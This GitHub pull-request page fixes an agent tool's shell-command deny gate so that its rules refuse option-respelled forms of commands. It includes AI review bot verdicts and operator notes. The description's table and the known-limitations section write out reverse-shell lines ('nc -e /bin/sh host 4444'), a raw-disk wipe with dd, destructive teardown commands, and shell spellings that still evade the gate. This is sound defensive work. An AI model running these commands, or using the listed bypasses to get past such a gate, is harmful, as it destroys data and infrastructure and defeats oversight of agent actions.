Repository navigation
fix(security): read command-literal deny rows off the argv, not one spelling - #21584
bolichen97 wants to merge 1 commit into
Conversation
UX Review (Opus 5.5) — ⏭️ skippedRevision |
Design Review (Opus 5.5) — ✅ PASSDesign-level review of Design-Verdict: PASS Nothing blocks: the deny rows check a real shell command line that the sandbox does not cover, and the fix adds to the existing argv-floor tier instead of adding regex spellings. Notes
[DESIGN-REVIEWED] c701c6a Description read[DESCRIPTION-READ] c6cb52f051da4d89dda84267257608d4e5f877f1ba4dffe423a2b3ec57a420fb That sha256 names everything this verdict read: the PR description, plus the 1 evidence file(s) the workflow collected from it and handed this review. It covers that evidence because the media strip replaces every attachment URL with the same placeholder, so an edit swapping one attachment for another would leave the description's captured text identical while what this review judged changed. Recompute it with |
Sensitive Change ReviewSensitive files changed:
How to clear this check:
Only the author's comment counts this way. A reviewer can instead |
First Principles Review (Opus 5.5) — 🔴 BLOCKPremise-level review of First-Principles-Verdict: BLOCK Item 1 adds a second argv deny-row engine of 1,590 lines. Base already has one: Notes
What this change shipsInventory (5 items) — 2 justifiedIntent: refuse the eight
BlockersSecond argv deny-row mechanism (duplicate) [FIRST-PRINCIPLES-REVIEWED] c701c6a Description read[DESCRIPTION-READ] 02d2764e9fc4bf58d7d474f867eb7e326e00bcfb3fbdff2d94d515c7da8618e0 That sha256 names the PR description this verdict read. Recompute it with |
Opus 5.5 Review — ✅ no blocking findingsReviewed Verdict parsed from the review's SHA-scoped output markers for commit False positive or not applicable? A repository writer can comment: |
GPT 6.1 Review — 🔴 changes requested (blocking)GPT 6.1 found at least one blocking issue that must be resolved before merging This comment is updated in place on each push. BLOCKING -- src/kiro_crew/security/argv_row_floor.py:187 -- A subshell’s leading redirection hides the actual program
BLOCKING -- src/kiro_crew/security/argv_row_floor.py:471 -- An option value of
[BLOCK-MERGE] c701c6a Adjudication (Opus 5.5) — is blocking on each finding proportionate?F1: unbounded (destructive False positive or not applicable? A repository writer can comment: |
Security Scope Review -- 🔴 BLOCK (blocking)Which legitimate operations does Verdict basis: a script-confirmed newly-refused operation. Security scope review -- adjudicated candidates
Newly refused (confirmed by the real classifier at both refs)
Teardownterraform -chdir=infra destroy
git -C . reset --hard
Teardownterraform -chdir=infra destroy -auto-approve
Teardownterraform -chdir=infra destroy
git -C . reset --hard
Teardownterraform -chdir=infra destroy -auto-approve
Each row above is an operation that the base ref ALLOWS and this change REFUSES. Narrow the rule at the tier named. Withdrawing a row is not the way to green: that is its own pull request, on its own merits. Scope-Verdict: PASS Reason: The new argv floor only adds refusals inside the TIGHTENING: A new command-literal argv floor is ORed onto the regex rows of the ADJUDICATED: 36 candidates, 0 confirmed newly-refused (no script-confirmed row was handed to this review) PLATFORM COVERAGE: posix and windows; no
UNADJUDICATED: These are argued narrowings with no verdict. They sit inside the shell composite, but their outcome depends on the classifier legs, which had not reported back to this review.
[SCOPE-REVIEWED] c701c6a The confirmed rows, in the committed corpus's own shape{
"golden_paths": [
{
"kind": "shell",
"command_or_flow": "terraform -help destroy",
"platform": "posix",
"reason": "an operator reads terraform's built-in help for the destroy subcommand before writing a teardown runbook; -help takes no value, so destroy is help's topic, not a run"
},
{
"kind": "shell",
"command_or_flow": "cdk --trace deploy DestroyerStack",
"platform": "posix",
"reason": "a CDK developer deploys a stack whose name starts with Destroy with a global valueless flag the floor's cdk flag list does not hold (the suite already allows the --verbose form)"
},
{
"kind": "shell",
"command_or_flow": "cdk --no-version-reporting deploy DestroyerStack",
"platform": "posix",
"reason": "the same deploy with another valueless global flag, as a CI deploy job passes it"
},
{
"kind": "shell",
"command_or_flow": "gh pr create --title \"docs: env setup for the teardown runbook\" --body-file - <<'EOF'\n## Teardown\n\nterraform -chdir=infra destroy\nEOF",
"platform": "posix",
"reason": "an agent opens a docs PR whose title holds the word env; the body is a message gh reads, never run"
},
{
"kind": "shell",
"command_or_flow": "gh issue create --title \"bash wrapper ignores the time budget\" --body-file - <<'EOF'\nRepro:\n\ngit -C . reset --hard\nEOF",
"platform": "posix",
"reason": "a maintainer files an issue whose title holds the words bash and time; the body is issue text"
},
{
"kind": "shell",
"command_or_flow": "sudo tee /usr/local/share/doc/runbooks/teardown.md >/dev/null <<'EOF'\n# Teardown\nterraform -chdir=infra destroy -auto-approve\nEOF",
"platform": "posix",
"reason": "an operator writes a root-owned runbook with the sudo tee heredoc spelling the repo's own CI actions use; the body is file text"
},
{
"kind": "shell",
"command_or_flow": "mkdir -p ~/.config/fish && cat > ~/.config/fish/README.md <<'EOF'\nUndo a bad rebase with:\ngit -C ~/src/app reset --hard ORIG_HEAD\nEOF",
"platform": "posix",
"reason": "a fish user writes a notes file into their fish config dir; the path word ending in fish now names a shell on the opener line"
},
{
"kind": "shell",
"command_or_flow": "cd infra && python3 - <<'EOF'\nfrom pathlib import Path\nPath('runbook.md').write_text('''\nterraform -chdir=infra destroy\n''')\nEOF",
"platform": "posix",
"reason": "an agent generates a runbook file with an inline Python heredoc after a cd; the body is Python code, not shell"
},
{
"kind": "shell",
"command_or_flow": ".venv/bin/python - <<'EOF'\nprint('''\ngit -C . reset --hard\n''')\nEOF",
"platform": "posix",
"reason": "a maintainer runs a quick Python check with the repo venv interpreter, the spelling the corpus already uses for pytest"
},
{
"kind": "shell",
"command_or_flow": "terraform -help destroy",
"platform": "windows",
"reason": "the same help lookup from a Windows shell"
},
{
"kind": "shell",
"command_or_flow": "cdk --trace deploy DestroyerStack",
"platform": "windows",
"reason": "the same CDK deploy from a Windows developer shell"
}
]
} |
629919f to
fea4cf6
Compare
Sensitive change review
|
fea4cf6 to
a61c892
Compare
Sensitive change review
|
a61c892 to
8857b3f
Compare
Sensitive change review
|
8857b3f to
e6aebab
Compare
Sensitive change review
|
|
|
[operator: bolichen97] Maintainer ruling applied (bca9d70 -> aa2fb16, rebased on current main, still one commit).
|
|
[operator: bolichen97] Security Scope Review on aa2fb16: the 8 newly refused operations are over-refusals in the option tables ( GPT 6.1, Opus 5.5 and Sensitive Change Review on this head failed on GitHub's installation rate limit (step output: |
|
[operator: bolichen97] Rebased onto main 7bc2f37 (ce48368 -> 761aef7), two commits kept (argv row floor + the stacked stdin-interpreter heredoc rule from #22631). The only conflict was |
|
[operator: bolichen97] Rebased onto main 41708c9 (da0e408 -> a0ba500), two commits kept. The only conflict was the Local prepare-pr review on the rebased head (GPT 6.1 Sol, Opus 5.5) and three focused verifiers found heredoc holes in this PR's own floor code, fixed in the second commit:
Each new case is in |
|
|
|
[operator: bolichen97] Security Scope Review on a0ba500: BLOCK, 7 newly refused (ubuntu/macos), 5 (windows). The sticky comment was not refreshed for this head; the list is from run 39866636738 artifacts
None lets through a command main refuses (0 loosenings on every leg). No code change here under the maintainer ruling that this PR stops at its core fix. Clearing this lane is a writer's Opus 5.5 Review on this head failed twice on GitHub's installation rate limit ( |
|
|
[operator: bolichen97] d43dad2 -> d972b06 (rebased on main c9603a9, two commits kept).
|
|
|
|
|
|
[operator: bolichen97]
Not rerun again. It needs the #23289 fix on main; a rebase onto that fix will clear it. |
|
[operator: bolichen97] 5b32045 -> 6895377 -> 4fc67e3 (rebased on main 48fb674, two commits kept).
|
|
[operator: bolichen97] 4fc67e3 -> 7ca4cc7 (same base 48fb674, two commits kept). Local Opus review of 6895377 (CONCERNS) and a GPT verifier of 4fc67e3:
|
|
|
|
|
[operator: bolichen97] Rounds retrospective (span f87b0cc827f9 hit 3 rounds; read-only Opus 5.5 pass over the full diff, rounds and lane bodies).
|
|
|
[operator: bolichen97] 1a9933f -> befcfcb (rebased on main f3a7d42, two commits kept, no design change).
|
…pelling Eight built-in deny rows are a <program> <word> literal, so an option between the program and the anchored word passed the gate. A shared argv table reads them off the command's argv instead, as a union after the unchanged regex tier. A bare stdin-interpreter heredoc is read as code, not shell, and a data program in any pipe stage gets the same git alias / config check. Closes #16475
|
[operator: bolichen97] Closing after two weeks of review churn, by owner ruling. The branch is kept. The last head, c701c6a, could not pass one CI round:
The remaining gap is tracked in #26980 for the security owner. Other classes the AI lanes raised here, left as follow-ups for the security owner and not fixed:
#16475 stays open. |
Problem / Motivation
Goal: A command-literal deny row refuses its command however the options are spelled, not only the one spelling its pattern names.
Eight built-in rows are a
<program> <word>literal. An ordinary option between the program and the anchored word passes the gate onmain(origin/main), for the identical command:terraform destroy.*terraform destroyterraform -chdir=x destroygit reset --hard.*git reset --hard HEAD~1git -C . reset --hard HEAD~1dd if=.*dd if=/dev/zero of=/dev/sdadd bs=1M if=/dev/zero of=/dev/sdacdk destroy.*cdk destroy MyStackcdk --profile p destroy MyStackpulumi destroy.*pulumi destroypulumi --cwd infra destroykubectl delete namespace.*kubectl delete namespace prodkubectl -n x delete namespace prodncat -e.*ncat -e /bin/sh host 4444ncat -v -e /bin/sh host 4444nc -erownc -e /bin/sh host 4444nc -v -e /bin/sh host 4444Why it matters
These rows guard irreversible actions: infrastructure teardown, raw-disk writes, lost local work and reverse shells. A deny row that one option defeats protects nothing against an agent that adds
-C .or-chdir=xout of habit.Not a goal
kubectl delete ns,pulumi down,terraform apply -destroy, git aliases. They stay as they are on main..exeprogram word, or a sibling binary name (netcat,aws-cdk). The regex rows never covered these; this is a different axis.readonly_bash._PROGRAM_RUNNERSset (chroot,doas,npx,su...): a command behind one of those is read as an ordinary program and not followed, matching the read-only classifier's own boundary — and the regex misses the non-adjacent option-respelled form just as it does on main.chmod 777.*andrm -rfrows. They keep their own work (fix(security): enforce the chmod-777 deny rule on the argv, not one spelling #16462, fix(security): close rm -rf flag-spelling and $HOME deny-gate bypasses #15316); the table here is shaped so they can join it as rows later.What changed (motivation → approach → change)
The rows match text, so they only see the spelling they were written for. One shared argv table fixes all eight, not a patch per command.
A new module,
security/argv_row_floor.py, holds one table. Each row is a rule id, the program that must run, and a matcher over that program's argv: a subcommand chain read past options (terraform destroy,kubectl delete namespace), a subcommand plus an option anywhere after it (git reset --hard), or an option orkey=valueoperand anywhere (ncat -e,nc -e,dd if=). Which options take a value is never guessed: the word after an option is read both as its value and as the subcommand.bash -c/$( )true&&terraform -chdir=x destroy&true & git -C . reset --hard<>and<&read whole, target includedgit -C . <> /dev/null reset --hard$'…'is decodedgit -C . reset $'--hard'\Uescape kept, and as spelledncat -Se /bin/sh h 1$'bash -c '$'\''\x67it'\'' -C . reset --hard'g""it -C . reset --hardNAME=valueand the shared runner set (sudo,env,timeout,xargs)timeout 600 terraform -chdir=x destroyText that runs nothing is not read as a command, so ordinary commands stay allowed: an unquoted
#comment, a newline inside quotes, a quoted-delimiter heredoc body (unless the line has a pipe or a shell, or the text a line continuation; a<<in$(( ))opens none), a$( )or backtick inside single quotes, an escaped backtick, the value of an option the program always gives one (kubectl delete -f namespace/x.yaml), addthat writes no device, the data command after&&, and words a plainecho/printfprints.A text that is one bare stdin-interpreter heredoc (
python3 - <<'EOF',node <<'EOF') is read as code in that language, not as shell, so a script body that namesgit reset --hardin a string is not refused (from #22631). A heredoc delimiter is decoded the way bash does ('E\OF'keeps its backslash), a git alias or include on an unprefixed data program, or on a data program in a later pipe stage, keeps the body read, and a.word is the source builtin unless it is a-Coperand of the data command itself. Comments are read twice, on the whole text and with heredoc bodies blanked, so a quote in a body cannot turn a later quoted#into a comment. The shell and Python names come fromshell_normalizer_programs, whose nested-shell list gainsmkshandfish.A refusal is audited with the raw command text, not the case-folded one, because the credential scrubber matches key IDs case-sensitively. Heredoc closing lines are found by an index lookup, so text full of unclosed heredoc openers stays linear.
Each matcher is one right-to-left pass, linear on the 20 KB ceiling.
is_deniedasks it after the regex passes, so a literal hit keeps its exact refusal. A row is checked only while it is in the effective set, so an opt-out turns off both. A refusal reports the row's own pattern and rule id withcomponent=argv-floor. It fails closed: if the reader raises, or yields no readable frame, on a command that names a row's program and that row's words (reset+--h,destroy,if=…; any text with an escape counts), the command is refused under that row with a note saying it could not be read. The security spec lists the submodule, and the package line budget intest_security_gate_liveness.pyis raised for it.Backwards compatibility
Breaking: commands that were allowed only because an option sat between the program and the anchored word are now refused under the same row (for example
git -C . reset --hard,terraform -chdir=x destroy,dd bs=1M if=...). A command naming a row's program that the shell reader cannot read is refused too. Writer sweep on origin/main:git grepfor those shapes across src/, docs/, skills and scripts found no shipped job, default, skill or doc that issues one. An operator who needs one can opt out of the row, which turns off the floor with it.Removes nothing: no rule, pattern, pass or opt-out is removed. It is a strict add-on to main: the regex tier runs first and is unchanged, so this PR never allows a command main refuses; it only adds refusals for re-spelled forms of the eight rows' own commands.
Tests
test/test_argv_row_floor.py:&,<>/<&,$'…', quote-split program words, a heredoc that may reach a shell, a backtick the shell expands, a reset before a comment, addwriting a device through a stdout redirect._shell_payload_walk,_split_push_command_segmentsornormalize_shell_commandforced to raise, the re-spelled reset and escaped nested spellings are refused with the unreadable note;git push origin my-feature,git statusand a command naming no row program stay allowed; every re-spelled case carries its row's words.gitstage that sets an alias, config or filter driver keeps its body read, including$'…'-quoted and quoted words with spaces; the heredoc's own git command gets the same test. Ateeoperand named like a config key stays data. Each case is red on the parent head.Feature-ABCstays mixed-case), and 20 KB of unclosed heredoc openers costs one indexed lookup per opener; both red onaff3378a90.&inside the segment, and push refusals on both sides of&are unchanged.-x delete/-x resetrun, one table per row for a 2,000-foldsudo/env -u/xargs -nrepeat ofgit, and option reads on a 20 KBenv -u/sudo -urunner run (each runner state is scanned once)._leading_operandsreads the word after an option both ways.Each new case is red on the parent head and green here. Determinism: the new tests pass 5/5 repeats, in reverse order and under
-n4.Proof: not provable -- other: the floor module is new in this PR, so reverting it fails test collection; each new case was run red on its parent head by hand.
Manual verification
N/A — unit coverage sufficient: the floor is a pure function of the command text, and the tests drive it through
is_denied, the gate's own entry point.Known limitations
Scope of the last round (owner ruling): only the later-pipe-stage alias / config gap is fixed here. Further shapes the AI lanes raise in this area (config or aliases set by a different command or an earlier call, and the four over-refusal classes the lanes reported) are out of scope and tracked for the security owner, not fixed here.
Known over-refusals, left by maintainer ruling (each is refused here and allowed on main; tracked in argv-row floor (#16475): resolve residual fail-closed over-refusals (heredoc data, option-value-as-verb, linearity) #21607):
terraform -chdir destroy plan(option arity not certain, read both ways on purpose);kubectl -n ops delete namespaceconfig team-a;sudo -n grep -rl -e terraform -e destroy …;sudo tee /usr/local/bin/x.sh <<'EOF';kubectl apply -f - <<'EOF'(and the same body piped fromcat); a commit message whose text repeats inside backticks; a heredoc whose delimiter word is glued to;or holds a space (cat <<'EOF'; echo done,cat <<'E O F'); a heredoc fed to a non-shell reader outside the data set (wc -l <<'EOF',grep -F … <<'EOF'); a heredoc line that also runs a shell elsewhere (cat <<'EOF' ; bash -c 'echo done'); printed words piped tocat(echo bash -c '…' | cat); two heredocs on one line (cat <<'A' <<'B').Shell forms the reader does not model, tracked in Evaluate a real shell parser for the three security command checks #21682 for the real-parser evaluation by maintainer ruling. Each is also allowed on main, so none is a regression: a
$( )/<( )inside an option value (git -c k=$(x) reset --hard), an escaped character before a background&, chained redirections in one word, the>|redirection, upper-case\UANSI-C escapes, an even backslash run before a newline, a reader failure on an inner payload only, a spaced<<-heredoc between the options and the subcommand; a script written by a heredoc and run on a later line; plus brace expansion andcase/ function /coproccommand positions. Evaluate a real shell parser for the three security command checks #21682 evaluates a real shell parser for all three security command checks.Related Issues
Closes #16475
Part of #22332 (the interpreter-heredoc over-refusal; file-then-run stays in Known limitations)
Sibling sweep
Sibling: src/kiro_crew/security/argv_row_floor.py:_data_heredoc_opener -- changed here (the heredoc's own command words and every later pipe stage now share one alias / config test)
Pattern harvest
Rule candidate: review-prompt
Pattern: a deny row written as a
<program> <word>regex literal is defeated by any option between the two; anchor it on the argv instead.Checklist
feat|fix|docs|style|refactor|perf|test|chore|ci|build|revert: ...)